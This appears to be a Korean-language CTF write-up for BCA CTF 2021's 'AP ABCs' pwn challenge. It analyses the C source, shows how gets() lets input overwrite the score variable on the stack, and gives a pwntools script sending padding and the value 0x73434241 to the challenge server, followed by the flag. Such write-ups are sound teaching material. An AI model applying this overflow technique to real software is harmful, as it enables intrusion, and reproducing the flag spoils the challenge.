Search

[PWN] AP ABCs

Year
2021
CTF Name
BCA CTF
Category
PWN
Type
Basic_BOF

1. Description

Oh wow, they put a freshman in AP ABCs? Never thought I'd see this happen. Anyways, good luck, and make sure to not cheat on your AP test!
nc bin.bcactf.com 49154

2. Write up

#include <unistd.h> #include <stdio.h> #include <stdlib.h> char *correct = "abcdefghijklmnopqrstuvwxyz"; int main() { int score = 1; char response[50]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); ...... ...... printf("Answer for 1: "); gets(response); for (int i = 0; i < 26; ++i) { if (response[i] == 0) break; if (response[i] != correct[i]) break; if (i == 0) score = 1; if (i == 7 || i == 14 || i == 20 || i == 24) ++score; } puts(""); printf("You got a %d on your APs.\n", score); if (score == 1) puts("Ouch. That hurts."); else if (score == 2) puts("At least that's not a 1..."); else if (score == 3) puts("You are \"qualified\"."); else if (score == 4) puts("You are \"very well qualified\"."); else if (score == 5) puts("Nice job!"); else if (score == 0x73434241) { puts("Tsk tsk tsk."); sleep(2); puts("Cheating on the AP® tests is really bad!"); sleep(2); puts("Let me read you the College Board policies:"); sleep(2); FILE *fp = fopen("flag.txt", "r"); if (fp == NULL) { puts("AAAA, I lost my notes!"); puts("You stay here while I go look for them."); puts("And don't move, you're still in trouble!"); puts("[If you are seeing this on the remote server, please contact admin]."); exit(1); } int c; while ((c = getc(fp)) != EOF) { putchar(c); usleep(20000); } fclose(fp); } }
C
복사
해당 문제에서는 바이너리 파일과 함께 소스코드도 제공하고 있다. 소스코드를 분석하면 아래와 같다.
해당 프로그램은 AP(Advanced Placement) 시험 프로그램이다.
gets() 함수를 사용하여 response 배열에 입력한 문자열을 저장한다.
정답이 저장되있는 correct 배열과 response 배열을 비교하여 점수를 책정하며 최대 5점까지 획득이 가능하고 한번 틀리면 그 순간 암기 시험이 종료되며 점수가 책정된다.
점수가 0x73434241점인 경우 플래그를 획득할 수 있다.
해당 문제는 0x73434241점을 넘겨야만 플래그를 얻을 수 있으나 정상적인 방식으로는 최대 5점까지만 획득할 수 있다.
int main() { int score = 1; char response[50]; ...... ...... printf("Answer for 1: "); gets(response); for (int i = 0; i < 26; ++i) { if (response[i] == 0) break; if (response[i] != correct[i]) break; if (i == 0) score = 1; if (i == 7 || i == 14 || i == 20 || i == 24) ++score; } ...... }
C
복사
우선 코드를 확인해보면 버퍼 오버플로우 취약점이 존재하는 gets() 함수를 사용하고 있고 score 변수가 response 배열보다 먼저 정의가 되있기 때문에 스택상 response 배열이 더 위에 존재한다. 따라서 입력값으로 버퍼 오버플로우를 유도해서 score0x73434241값을 넣으면 플래그를 얻을 수 있다.
이때 주의사항으로는 버퍼 오버플로우를 유도했으나 for문에서 score 변수에 점수를 저장하는 루틴이 존재한다. 따라서 첫번째 루프에서 break문을 만나도록 유도해야 한다.
.text:0000000000001289 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:0000000000001289 public main .text:0000000000001289 main proc near ; DATA XREF: _start+21↑o .text:0000000000001289 ; __unwind { .text:0000000000001289 endbr64 .text:000000000000128D push rbp .text:000000000000128E mov rbp, rsp .text:0000000000001291 sub rsp, 50h .text:0000000000001295 mov dword ptr [rbp-4], 1 ...... .text:000000000000152A lea rdi, aAnswerFor1 ; "Answer for 1: " .text:0000000000001531 mov eax, 0 .text:0000000000001536 call F_printf .text:000000000000153B lea rax, [rbp-50h] .text:000000000000153F mov rdi, rax .text:0000000000001542 mov eax, 0 .text:0000000000001547 call F_scanf
C
복사
score 변수의 위치와 response 배열의 위치는 디스어셈블러를 활용하면 정확하게 확인할 수 있다. grade 변수는 [rbp-4]에 위치하고 있고 response 배열은 [rbp-50h] 위치에 존재한다. 따라서 정답을 피해가는 선에서 (0x50-4) byte만큼 임의의 값을 입력해주고 0x73434241값을 입력해주면 플래그를 얻을 수 있다.
from pwn import * r = remote("bin.bcactf.com", 49154) print r.recvuntil("Answer for 1: ") payload = "" payload += "A" * (0x50-4) payload += p64(0x73434241) r.sendline(payload) print r.recv(2048) r.interactive()
Python
복사

3. FLAG

bcactf{bca_is_taking_APs_in_june_aaaaaaaa_wish_past_me_luck}